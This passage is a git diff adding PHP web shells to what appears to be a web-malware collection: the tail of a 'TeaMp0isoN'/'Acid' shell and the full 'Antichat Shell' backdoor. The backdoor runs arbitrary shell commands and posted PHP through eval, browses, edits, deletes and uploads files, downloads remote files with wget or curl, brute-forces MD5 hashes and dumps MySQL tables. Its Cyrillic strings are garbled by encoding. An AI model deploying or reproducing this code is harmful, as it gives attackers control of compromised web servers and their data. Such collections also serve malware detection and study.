& 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://packetstormsecurity.org/search/?q=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://packetstormsecurity.org/search/?q=".$OSV." ".$Lversion; + } +} + + +function sh_name() { return base64_decode("VGVhTXAwaXNvTiBQcml2YXRlIEJ1aWxkIFsgQkVUQSBd"); } +function htmlhead($safemode) { +$style = ' +<style type="text/css"> +body,table {font:8pt verdana;background-color:black;} +table {width:100%;} +table,td,#maininfo td {padding:3px;} +table,td,input,select,option {border:1px solid #808080;} +body,table,input,select,option {color:#FFFFFF;} +a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;} +textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;} +#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;} +#pagebar td {vertical-align:top;} +#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;} +#pagebar a {font-weight:bold;color:orange;} +#pagebar a:visited {color:#000000;} +#mainmenu {text-align:center;} +#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;} +#maininfo,.barheader,.bartitle {text-align:center;} +.fleft {float:left;text-align:left;} +.fright {float:right;text-align:right;} +.bartitle {padding:5px;border:2px solid #000000;} +.barheader {font-weight:bold;padding:5px;} +.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;} +.info th {color:orange;text-align:left;width:13%;} +.contents,.explorer {border-collapse:collapse;} +.contents,.explorer td,th {vertical-align:top;} +.mainpanel {border-collapse:collapse;padding:5px;} +.barheader,.mainpanel table,td {border:1px solid #333333;} +input[type="submit"],input[type="button"] {border:1px solid #000000;} +input[type="text"] {padding:3px;} +.shell {background-color:#000000;color:orange;padding:5px;font-size:12;} +.fxerrmsg {color:red; font-weight:bold;} +#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;} +#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#000000;} +.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;} +textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;} +input[type="label"] { text-align:right;} +.info,.info td,input[type="label"] {border:0;background:none;} +</style> +'; +$html_start = ' +<html><head> +<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title> +'.$style.' +</head> +<body> +<center><img src="http://i53.tinypic.com/qss19g.png" alt="ShellBanner"></center> +'; +return $html_start; +}; +function footer() { + echo "<div class=bartitle colspan=2><font size=2 color=#00FF00><b> [ Acid ] Shell - #Version 1! [PRIV4TE] -; Generated: ".round(getmicrotime()-starttime,4)." seconds</b></font></div>"; +} +chdir($lastdir); tpshexit(); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/antichat.php b/web-malware-collection-master/Backdoors/PHP/antichat.php new file mode 100755 index 0000000..ee4cffe --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/antichat.php @@ -0,0 +1,872 @@ +<?php +session_start(); +set_magic_quotes_runtime(0); +set_time_limit(0); +error_reporting(0); + +$self = $HTTP_SERVER_VARS['PHP_SELF']; +if(get_magic_quotes_gpc()) { + foreach ($_POST as $k => $v) { + $_POST[$k] = stripslashes($v); + } +} + +@ini_set('max_execution_time',0); +if(@ini_get('safe_mode') == '1') { + $safe_mode="ON"; +} else { + $safe_mode="OFF"; +} +if(@ini_get('disable_functions') != "") { + $disfunc = ini_get('disable_functions'); +} else { + $disfunc = 0; +} +if(strtoupper(substr(PHP_OS, 0, 3))==='WIN') { + $os = 1; +} else { + $os = 0; +} + +$action = $_POST['action']; +$file = $_POST['file']; +$dir = $_POST['dir']; +$content = ''; +$stdata = ''; +$style = '<STYLE> +BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;} +input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;} +select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;} +textarea{background-color: #363940;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;} +a:link{color: #91cd32;text-decoration: none;font-size: 8pt;} +a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;} +a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;} +td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>'; +$header = '<html><head><title>'.getenv("HTTP_HOST").' - Antichat Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><body leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>'; +$footer = '</body></html>'; +$lang = array( + 'filext'=>'File already exists.', + 'uploadok'=>'File was successfully uploaded.', + 'dircrt'=>'Dir is created.', + 'dontlist'=>'Listing dir permission denide.', + 'dircrterr'=>'Don\'t create dir.', + 'dirnf'=>'Dir not found.', + 'filenf'=>'File not found.', + 'dontwrdir'=>'Only read current dir.', + 'empty'=>'Directory not empty or access denide.', + 'deletefileok'=>'File deleted.', + 'deletedirok'=>'Dir deleted.', + 'isdontfile'=>'Selected file this is link.', + 'cantrfile'=>'Cant read file, permission denide.', + 'onlyracc'=>'Don\'t edit, only read access.', + 'workdir'=>'Work directory: ', + 'fullacc'=>'Full access.', + 'fullaccdir'=>'Full accees you are can create and delete dir.', + 'thisnodir'=>'This is don\'t dir.', + 'allfuncsh'=>'All function for work shell was disabled.' +); + +$act = array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions + +function test_file($file){ +if(!file_exists($file))$err="1"; + elseif(!is_file($file)) $err="2"; + elseif(!is_readable($file))$err="3"; + elseif(!is_writable($file)) { + $err="4"; + } else { + $err="5"; + } +return $err; +} + +function test_dir($dir){ +if(!file_exists($dir))$err="1"; + elseif(!is_dir($dir)) $err="2"; + elseif(!is_readable($dir))$err="3"; + elseif(!is_writable($dir)) { + $err="4"; + } else { + $err="5"; + } +return $err; +} + +function perms($file) { + $perms = fileperms($file); + if (($perms & 0xC000) == 0xC000) { + $info = 's'; + } + elseif(($perms & 0xA000) == 0xA000) { + $info = 'l'; + } + elseif(($perms & 0x8000) == 0x8000) { + $info = '-'; + } + elseif(($perms & 0x6000) == 0x6000) { + $info = 'b'; + } + elseif(($perms & 0x4000) == 0x4000) { + $info = 'd'; + } + elseif(($perms & 0x2000) == 0x2000) { + $info = 'c'; + } + elseif(($perms & 0x1000) == 0x1000) { + $info = 'p'; + } else { + $info = 'u'; + } + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); + return $info;} + +function view_size($size){ + if($size >= 1073741824) { + $size = @round($size / 1073741824 * 100) / 100 . " GB"; + } + elseif($size >= 1048576) { + $size = @round($size / 1048576 * 100) / 100 . " MB"; + } + elseif($size >= 1024) { + $size = @round($size / 1024 * 100) / 100 . " KB"; + } else { + $size = $size . " B"; + } +return $size;} + +if(isset($action)) { + if(!in_array($action,$act)) { + $action = "viewer"; + } else { + $action = $action; + } +} else { + $action = "viewer"; +} + +if(isset($dir)){ + $ts['test'] = test_dir($dir); + switch($ts['test']){ + case 1: + $stdata.=$lang['dirnf']; + break; + case 2: + $stdata.=$lang['thisnodir']; + break; + case 3: + $stdata.=$lang['dontlist']; + break; + case 4: + $stdata.=$lang['dontwrdir']; + $dir=chdir($GLOBALS['dir']); + break; + case 5: + $stdata.=$lang['fullaccdir']; + $dir=chdir($GLOBALS['dir']); + break; + } +} else { + $dir=@chdir($dir); +} + +$dir = getcwd()."/"; +$dir = str_replace("\\","/",$dir); + +if(isset($file)){ + $ts['test1'] = test_file($file); + switch ($ts['test1']){ + case 1: + $stdata .=$lang['filenf']; + break; + case 2: + $stdata .=$lang['isdontfile']; + break; + case 3: + $stdata .=$lang['cantrfile']; + break; + case 4: + $stdata .=$lang['onlyracc']; + $file = $file; + break; + case 5: + $stdata .=$lang['fullacc']; + $file = $file; + break; + } +} + +function shell($cmd) { + global $lang; + +$ret = ''; +if(!empty($cmd)) { + if(function_exists('exec')){ + @exec($cmd,$ret);$ret = join("\n",$ret); + } elseif(function_exists('shell_exec')) { + $ret = @shell_exec($cmd); + } elseif(function_exists('system')) { + @ob_start() + ;@system($cmd); + $ret = @ob_get_contents(); + @ob_end_clean(); + } elseif(function_exists('passthru')) { + @ob_start(); + @passthru($cmd); + $ret = @ob_get_contents(); + @ob_end_clean(); + } elseif(@is_resource($f = @popen($cmd,"r"))) { + $ret = ""; + while(!@feof($f)) { + $ret .= @fread($f,1024); + } + @pclose($f); + } else { + $ret=$lang['allfuncsh']; + } +} +return $ret; +} + +function createdir($dir) { + mkdir($dir); +} + +//delete file +if($action == 'delete') { + if(unlink($file)) + $content.=$lang['deletefileok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>"; +} + +//delete dir +if($action == 'deletedir') { + if(!rmdir($file)) { + $content .=$lang['empty']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>"; + } else { + $content .=$lang['deletedirok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>"; + } +} + +//shell +if($action == 'shell'){ + $content .="<form method=\"POST\"> + <input type=\"hidden\" name=\"action\" value=\"shell\"> + <textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br> + <textarea readonly rows=\"15\" cols=\"150\">".convert_cyr_string(htmlspecialchars(shell($_POST['command'])),"d","w")."</textarea><br> + <input type=\"submit\" value=\"execute\"></form>"; +} +//editor +if($action == 'editor'){ + $stdata.="<tr><td><form method=POST> + <input type=\"hidden\" name=\"action\" value=\"editor\"> + <input type=\"hidden\" name=\"dir\" value=\"".$dir."\"> + Open file:<input type=text name=file value=\"".($file=="" ? $file=$dir : $file=$file)."\" size=50><input type=submit value=\">>\"></form>"; + function writef($file,$data){ + $fp = fopen($file, "w+"); + fwrite($fp, $data); + fclose($fp); +} + +function readf($file){ + clearstatcache(); + $f = fopen($file, "r"); + $contents = fread($f,filesize($file)); + fclose($f); + return htmlspecialchars($contents); +} + +if(@$_POST['save']) + writef($file, $_POST['data']); +if(@$_POST['create']) + writef($file,""); +$test = test_file($file); +if($test ==1 ){ + $content.="<form method=\"POST\"> + <input type=\"hidden\" name=\"action\" value=\"editor\"> + File name:<input type=\"text\" name=\"file\" value=\"".$file."\" size=\"50\"><br> + <input type=\"submit\" name=\"create\" value=\"Create new file with this name?\"> + <input type=\"reset\" value=\"No\"></form>"; +} + +if($test > 2){ + $content.="<form method=\"POST\"> + <input type=\"hidden\" name=\"action\" value=\"editor\"> + <input type=\"hidden\" name=\"file\" value=\"".$file."\"> + <textarea name=\"data\" rows=\"30\" cols=\"180\">".@readf($file)."</textarea><br> + <input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>"; +} +} + +//viewer +if($action == 'viewer'){ + $content.="<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">"; + $content.="<tr><td><form method=POST><br>Open directory: <input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\">>\"></form>"; + if (is_dir($dir)) { + if (@$dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir . $file) == 'dir') + $dire[] = $file; + if(filetype($dir . $file) == 'file') + $files[] = $file; + } + closedir($dh); + @sort($dire); + @sort($files); + if ($GLOBALS['os'] == 1) { + $content.="<tr><td>Select drive:"; + for ($j = ord('C'); $j <= ord('Z'); $j++) + if (@$dh = opendir(chr($j).":/")) + $content .='<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>'; + $content .="</td></tr>"; + } + $content .="<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>"; + for($i = 0;$i < count($dire);$i++) { + $link = $dir.$dire[$i]; + $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td> +<td>dir</td><td></td><td>'.perms($link).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>'; + } + for($i = 0;$i < count($files);$i++) { + $linkfile = $dir.$files[$i]; + $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td> +<td>file</td><td>'.view_size(filesize($linkfile)).'</td><td>'.perms($linkfile).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Download">D</a> +<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>'; + } + $content .="</table>"; + } + } +} +//downloader +if($action == 'download') { +header('Content-Length:'.filesize($file).''); +header('Content-Type: application/octet-stream'); +header('Content-Disposition: attachment; filename="'.$file.'"'); +readfile($file); +} +//phpeval +if($action == 'phpeval') { + $content.="<form method=\"POST\"> + <input type=\"hidden\" name=\"action\" value=\"phpeval\"> + <input type=\"hidden\" name=\"dir\" value=\"".$dir."\"> + &lt;?php<br> + <textarea name=\"phpev\" rows=\"5\" cols=\"150\">".@$_POST['phpev']."</textarea><br> + ?><br> + <input type=\"submit\" value=\"execute\"></form>"; + if(isset($_POST['phpev'])) + $content .=eval($_POST['phpev']); +} +//upload +if($action == 'upload') { + if(isset($_POST['dirupload'])) { + $dirupload = $_POST['dirupload']; + } else { + $dirupload = $dir; + } + $form_win = "<table><form method=POST enctype=multipart/form-data> + <tr><td><input type=\"hidden\" name=\"action\" value=\"upload\"> + Upload to dir: <input type=text name=dirupload value=\"".$dirupload."\" size=50><tr><td>New file name: <input type=text name=filename></td></tr><tr><td><input type=file name=file> <input type=submit name=uploadloc value='Upload local file'></td></tr>"; + if($os == 1) + $content.=$form_win; + if($os == 0){ + $content .=$form_win; + $content .='<tr><td><select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>File addres:<input type=text name=urldown> + <input type=submit name=upload value=Upload></form></td></tr>'; + } + +if(isset($_POST['uploadloc'])) { +if(!isset($_POST['filename'])) { + $uploadfile = $dirupload.basename($_FILES['file']['name']); +} else { + $uploadfile = $dirupload."/".$_POST['filename']; +} + +if(test_dir($dirupload) == 1 && test_dir($dir) != 3 && test_dir($dir) != 4) { + createdir($dirupload); +} +if(file_exists($uploadfile))$content .= $lang['filext']; + elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) +$content .=$lang['uploadok']; +} + +if(isset($_POST['upload'])){ + if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename'])) + switch($_POST['with']) + { + case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break; + case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break; + case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break; + case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break; + case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break; + case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break; +}}} +//Brute +if($action == 'brute'){ + +function Brute() { + global $action,$pass_de,$chars_de,$dat,$date; +ignore_user_abort(1); +} + +if($chars_de == "") { + $chars_de =""; +} +$content ="<table><form action='$php_self' method=post name=md5><tr><td><b>Decrypte MD5</b> +<tr><td>&nbsp;MD5 ���:<b>".$pass_de."</b></td> +<input type='hidden' name='action' value='$action'> +<tr><td>&nbsp;<textarea class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td> +<td><b>������� ����:</b><br><font color=red><b><u>ENG:</u></b></font> +<a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a> +<a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a><br> +<a class=menu href=javascript:ins('0123456789')>[0-9]</a> +<a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?&gt;<[]{}:�.,&quot;')>[�������]</a><br><br> +<font color=red><b><u>RUS:</u></b></font> +<a class=menu href=javascript:ins('��������������������������������')>[�-�]</a> +<a class=menu href=javascript:ins('�����Ũ��������������������������')>[�-�]</a> +<br></br><input type=reset value=�������� class=button1></td></tr> +<tr><td>&nbsp;<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''> +</td><td><input type='submit' value='Decrypt MD5' class=button1></td></tr></form> +<script> +function ins(text){ +document.md5.chars_de.value+=text; +document.md5.chars_de.focus();} +</script>"; + +if($_POST['pass_de']) { +$pass_de = htmlspecialchars($pass_de); +$pass_de = stripslashes($pass_de); +$dat = date("H:i:s"); +$date = date("d:m:Y"); +} +{ +crack_md5(); +} +} +function crack_md5() { +global $chars_de; +$chars = $_POST[chars]; +ignore_user_abort(1); +$chars_de = str_replace("<",chr(60),$chars_de); +$chars_de = str_replace(">",chr(62),$chars_de); +$c = strlen($chars_de); +for($next = 0; $next <= 31; $next++) { + for($i1 = 0; $i1 <= $c; $i1++) { + $word[1] = $chars_de{$i1}; + for($i2 = 0; $i2 <= $c; $i2++) { + $word[2] = $chars_de{$i2}; + if($next <= 2) { + result(implode($word)); + } else { + for ($i3 = 0; $i3 <= $c; $i3++) { + $word[3] = $chars_de{$i3}; + if ($next <= 3) { + result(implode($word)); + }else { + for($i4 = 0; $i4 <= $c; $i4++) { + $word[4] = $chars_de{$i4}; + if($next <= 4) { + result(implode($word)); + }else { + for ($i5 = 0; $i5 <= $c; $i5++) { + $word[5] = $chars_de{$i5}; + if ($next <= 5) { + result(implode($word)); + }else { + for ($i6 = 0; $i6 <= $c; $i6++) { + $word[6] = $chars_de{$i6}; +if ($next <= 6) { +result(implode($word)); +}else { +for ($i7 = 0; $i7 <= $c; $i7++) { +$word[7] = $chars_de{$i7}; +if ($next <= 7) { +result(implode($word)); +}else { +for ($i8 = 0; $i8 <= $c; $i8++) { +$word[8] = $chars_de{$i8}; +if ($next <= 8) { +result(implode($word)); +}else { +for ($i9 = 0; $i9 <= $c; $i9++) { +$word[9] = $chars_de{$i9}; +if ($next <= 9) { +result(implode($word)); +}else { +for ($i10 = 0; $i10 <= $c; $i10++) { +$word[10] = $chars_de{$i10}; +if ($next <= 10) { +result(implode($word)); +}else { +for ($i11 = 0; $i11 <= $c; $i11++) { +$word[11] = $chars_de{$i11}; +if ($next <= 11) { +result(implode($word)); +}else { +for ($i12 = 0; $i12 <= $c; $i12++) { +$word[12] = $chars_de{$i12}; +if ($next <= 12) { +result(implode($word)); +}else { +for ($i13 = 0; $i13 <= $c; $i13++) { +$word[13] = $chars_de{$i13}; +if ($next <= 13) { +result(implode($word)); +}else { +for ($i14 = 0; $i14 <= $c; $i14++) { +$word[14] = $chars_de{$i14}; +if ($next <= 14) { +result(implode($word)); +}else { +for ($i15 = 0; $i15 <= $c; $i15++) { +$word[15] = $chars_de{$i15}; +if ($next <= 15) { +result(implode($word)); +}else { +for ($i16 = 0; $i16 <= $c; $i16++) { +$word[16] = $chars_de{$i16}; +if ($next <= 16) { +result(implode($word)); +}else { +for ($i17 = 0; $i17 <= $c; $i17++) { +$word[17] = $chars_de{$i17}; +if ($next <= 17) { +result(implode($word)); +}else { +for ($i18 = 0; $i18 <= $c; $i18++) { +$word[18] = $chars_de{$i18}; +if ($next <= 18) { +result(implode($word)); +}else { +for ($i19 = 0; $i19 <= $c; $i19++) { +$word[19] = $chars_de{$i19}; +if ($next <= 19) { +result(implode($word)); +}else { +for ($i20 = 0; $i20 <= $c; $i20++) { +$word[20] = $chars_de{$i20}; +if ($next <= 20) { +result(implode($word)); +}else { +for ($i21 = 0; $i21 <= $c; $i21++) { +$word[21] = $chars_de{$i21}; +if ($next <= 21) { +result(implode($word)); +}else { +for ($i22 = 0; $i22 <= $c; $i22++) { +$word[22] = $chars_de{$i22}; +if ($next <= 22) { +result(implode($word)); +}else { +for ($i23 = 0; $i23 <= $c; $i23++) { +$word[23] = $chars_de{$i23}; +if ($next <= 23) { +result(implode($word)); +}else { +for ($i24 = 0; $i24 <= $c; $i24++) { +$word[24] = $chars_de{$i24}; +if ($next <= 24) { +result(implode($word)); +}else { +for ($i25 = 0; $i25 <= $c; $i25++) { +$word[25] = $chars_de{$i25}; +if ($next <= 25) { +result(implode($word)); +}else { +for ($i26 = 0; $i26 <= $c; $i26++) { +$word[26] = $chars_de{$i26}; +if ($next <= 26) { +result(implode($word)); +}else { +for ($i27 = 0; $i27 <= $c; $i27++) { +$word[27] = $chars_de{$i27}; +if ($next <= 27) { +result(implode($word)); +}else { +for ($i28 = 0; $i28 <= $c; $i28++) { +$word[28] = $chars_de{$i28}; +if ($next <= 28) { +result(implode($word)); +}else { +for ($i29 = 0; $i29 <= $c; $i29++) { +$word[29] = $chars_de{$i29}; +if ($next <= 29) { +result(implode($word)); +}else { +for ($i30 = 0; $i30 <= $c; $i30++) { +$word[30] = $chars_de{$i30}; +if ($next <= 30) { +result(implode($word)); +}else { +for ($i31 = 0; $i31 <= $c; $i31++) { +$word[31] = $chars_de{$i31}; +if ($next <= 31) { +result(implode($word)); +}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} + +function result($word) { +global $dat,$date; +$pass_de = $_POST[pass_de]; +$dat2 = date("H:i:s"); +$date2 = date("d:m:Y"); + +if(md5($word) == $pass_de){ +echo "<STYLE>BODY{background-color: #2b2f34;color: #9acd32;</STYLE><table><tr><td>��������� ���������� �������� �������:</td></tr> +<tr><td>�������������� ������:</b></td><td><font color=red>&nbsp;&nbsp;$word</font></td></tr> +<tr><td>������ ��������:</td><td>&nbsp;&nbsp;$dat - $date</td></tr> +<tr><td>��������� ��������:</td><td>&nbsp;&nbsp;$dat2 - $date2</td></tr> +<tr><td>���������� �������� ����� ������� � ����: ".$word."_md5</td></tr></table>"; +$f = @fopen($word._md5,"a+"); +fputs($f,"��� �� MD5 [$pass_de] = $word +������ ��������:\t$dat - $date +��������� ��������:\t$dat2 - $date2"); +exit; +}} + +//Mysql + +if($action == 'mysql') { +if(isset($_POST['dif'])) { + $fp = @fopen($_POST['dif_name'], "w"); +} + if((!empty($_POST['dif']) && $fp) || (empty($_POST['dif']))) { + $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']); + if($db) { + if(@mysql_select_db($_POST['mysql_db'],$db)) { + $sql1 .= "# ---------------------------------\r\n"; + $sql1 .= "# date : ".date ("j F Y g:i")."\r\n"; + $sql1 .= "# database : ".$_POST['mysql_db']."\r\n"; + $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + + $sql2 = ''; + + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while ($row = @mysql_fetch_assoc($res)) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + $content .="<center><b>������! ���� ������ ������!</b></center>"; + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } // end if(@mysql_select_db($_POST['mysql_db'],$db)) + else $content.="<center><b>����� �� ���!</b></center>"; + @mysql_close($db); + } + } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){ + else if(!empty($_POST['dif'])&&!$fp) { $content.="<center><b>������, ��� ���� ������ � ����!</b></center>"; } + +$content.="<form name='mysql_dump' action='$php_self' method='post'> +<input type='hidden' name='action' value='$action'> +&nbsp;����: <input type=text name=mysql_db size=15 value="; +$content .=(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")); +$content .=">&nbsp;�������: &nbsp;<input type=text name=mysql_tbl size=15 value="; +$content .=(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")); +$content .=">&nbsp;�����: &nbsp;<input type=text name=mysql_l size=15 value="; +$content .=(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")); +$content .=">&nbsp;������: &nbsp;<input type=text name=mysql_p size=15 value="; +$content .=(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")); +$content .="><input type=hidden name=dir size=85 value=".$dir."> +<input type=hidden name=cmd size=85 value=mysql_dump> +<br>&nbsp;��������� ���� � �����: <input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=80 value="; +$content .=(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")); +$content .="><input type=submit name=submit value=���������></form>"; + +@$php_self = $_POST['PHP_SELF']; +@$from = $_POST['from']; +@$to = $_POST['to']; +@$adress = $_POST['adress']; +@$port = $_POST['port']; +@$login = $_POST['login']; +@$pass = $_POST['pass']; +@$adress = $_POST['adress']; +@$port = $_POST['port']; +@$login = $_POST['login']; +@$pass = $_POST['pass']; +if(!isset($adress)){ + $adress="localhost"; +} +if(!isset($login)){ + $login="root"; +} +if(!isset($pass)){ + $pass=""; +} +if(!isset($port)){ + $port="3306"; +} +if(!isset($from)){ +$from=0; +} +if(!isset($to)){ + $to=50; +} + +if(!@$conn) { +$content .="<form name='mysql_dump' action='$php_self' method='post'> +<table><tr><td valign=top> +<input type='hidden' name='action' value='$action'> +<input type=hidden name=ac value=sql> +<tr><td valign=top>����: &nbsp;&nbsp;&nbsp;&nbsp;<input name=adress value='$adress' size=20> +<tr><td valign=top>����: &nbsp;&nbsp;&nbsp;&nbsp;<input name=port value='$port' size=20> +<tr><td valign=top>�����: &nbsp;&nbsp;<input name=login value='$login' size=20> +<tr><td valign=top>������: <input name=pass value='$pass' size=20> +<input type=hidden name=p value=sql></td></tr> +<tr><td></td><td><input type=submit name=conn value=������������></form></td></tr> +</table>"; +} +@$conn = $_POST['conn']; +@$adress = $_POST['adress']; +@$port = $_POST['port']; +@$login = $_POST['login']; +@$pass = $_POST['pass']; +if($conn){ + +$serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("������: ".mysql_error()); +if($serv) { +$content .="<form name='conn' action='$php_self' method='post'><input type=hidden name=conn value=0> +<input type='hidden' name='action' value='$action'> 